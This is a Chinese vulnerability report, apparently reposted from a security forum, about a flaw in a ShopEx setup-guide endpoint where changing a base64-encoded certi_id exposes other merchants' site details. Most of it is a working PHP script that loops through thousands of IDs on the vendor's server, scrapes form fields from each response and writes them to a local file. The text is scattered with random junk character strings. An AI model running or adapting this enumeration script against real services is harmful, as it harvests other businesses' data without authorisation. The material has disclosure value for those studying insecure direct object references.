ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 J" ]) @" y/ e$ ]: S) ~$ qShopEx某接口缺陷,可遍历所有网站
+ ^) b! \7 i! K& c" f) L1 L2 l% M详细说明：
; e# G4 }/ H' `' q- J; p问题出现在shopex 网店使用向导页面
4 F9 u& @+ ~3 N; p' K


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

- ]' c5 C/ E4 G  L/ ^! h

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

1 C/ Z+ `6 s9 Z) |

3 B$ G; i2 e# O! ?我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
1 _, J+ v0 b9 I9 U" n
8 O) n6 E! S2 Y2 Q; Z
& `5 f% h6 |6 d, L  ]3 V
( Y* Z* ]1 K: T- E% s( R<?php

                for ($i=1; $i < 10000; $i++) { //遍历
( p* d; B7 w  m/ v2 o7 U
, X- N5 W% f# I                        ShowshopExD($i);
8 K/ g, T" [" a( k- H2 q
, Q* r: g& J  r                }

2 B+ x; J, Z# j: h. D' O# W                function ShowshopExD($cid) {

2 r- B* S7 f8 f$ h) T( J                $url='http://guide.ecos.shopex.cn/step2.php';

  ]4 p7 b' j! P4 ]; K                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
* x2 _% I* Y; Z$ I
        $url = $url.'?refer='.$refer;

3 y* c! t$ s5 w        $ch = curl_init($url);
2 M5 J) P* j# x
$ e" d+ ]1 x8 A$ a8 D3 I7 W        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
8 l/ m/ c7 S. Y1 ?! H. f' E
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

. F0 k: q1 x* s: A- ]& z5 `* ^3 U        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

3 _3 A  k2 g5 P( ^: _                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

) p! |; K: D9 }7 ?6 Q8 ?- M                foreach ($value[1] as $key) {
. i% O- [! W6 s# z6 C
! A4 {1 n, t6 u/ I* e. Z: S                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

1 C! O: B- I' `/ f' d/ Y2 k                        echo $res[1][0].':'.$res[3][0]."\r\n";
- T! L5 O0 g  Z/ J, O8 k
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
0 T7 W/ p7 N. r* C1 ]0 C0 o6 ~
% {5 K+ e. S. q                        fwrite($fp, $col, strlen($col));
: j9 C" ]: [3 w5 U
% i4 E4 i) q% O+ p& j' _                }

( A* ~: d8 z7 m2 _                echo '--------------------------------'."\r\n";
6 V: v' w  I2 M1 o: s
                fclose($fp);
. T- W! q/ P3 B; j
        }
1 L1 Q7 E6 B# _# L# v
        flush();
# S8 c1 ]2 k8 ^0 R
" z* {5 ?4 v. u, L        curl_close($ch);

                }

  q& [1 s" z5 s?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
- d# t1 T8 x. N6 i& }8 R$ I% Mrefer换成其他加密方式